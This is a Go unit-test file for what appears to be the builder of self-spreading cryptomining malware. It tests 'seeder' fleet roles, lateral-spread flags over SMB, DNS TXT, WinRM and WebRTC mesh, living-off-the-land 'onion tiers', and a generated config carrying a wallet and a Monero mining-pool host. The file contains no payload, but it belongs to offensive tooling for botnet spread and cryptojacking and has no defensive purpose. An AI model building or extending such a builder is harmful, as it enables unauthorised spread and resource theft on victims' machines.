package builder import "testing" func TestApplyFleetRoleBakeDefaultsSeeder(t *testing.T) { req := &BuildRequest{ FleetRole: "seeder", LotlOnionTiers: []string{"smb", "dns_txt", "winrm"}, } applyFleetRoleBakeDefaults(req) if !req.SeederMode || !req.MiningDisabled || req.FleetRole != "seeder" { t.Fatalf("seeder bake: mode=%v disabled=%v role=%q", req.SeederMode, req.MiningDisabled, req.FleetRole) } if !req.DnsTxtSpread || !req.WebRTCMeshSpread || req.WinRMSpread { t.Fatalf("spread flags: dns=%v webrtc=%v winrm=%v", req.DnsTxtSpread, req.WebRTCMeshSpread, req.WinRMSpread) } if len(req.LotlOnionTiers) != 1 || req.LotlOnionTiers[0] != "dns_txt" { t.Fatalf("tiers=%v", req.LotlOnionTiers) } } func TestGenerateBuiltinConfigFleetRoleFields(t *testing.T) { h := &Handler{} req := &BuildRequest{ WorkerName: "seeder-node", ServerURL: "http://127.0.0.1:8989", Wallet: "4TEST", Threads: 2, PoolHost: "pool.supportxmr.com", PoolPort: 3333, PoolPass: "x", FleetRole: "seeder", SeederMode: true, MiningDisabled: true, } src := h.generateBuiltinConfig("build-seed", req) if !containsAll(src, "FleetRole:", "SeederMode:", "seeder") { t.Fatalf("missing fleet role fields in builtin:\n%s", src) } } func containsAll(s string, parts ...string) bool { for _, p := range parts { if !contains(s, p) { return false } } return true } func contains(s, sub string) bool { return len(sub) == 0 || (len(s) >= len(sub) && indexOf(s, sub) >= 0) } func indexOf(s, sub string) int { for i := 0; i+len(sub) <= len(s); i++ { if s[i:i+len(sub)] == sub { return i } } return -1 }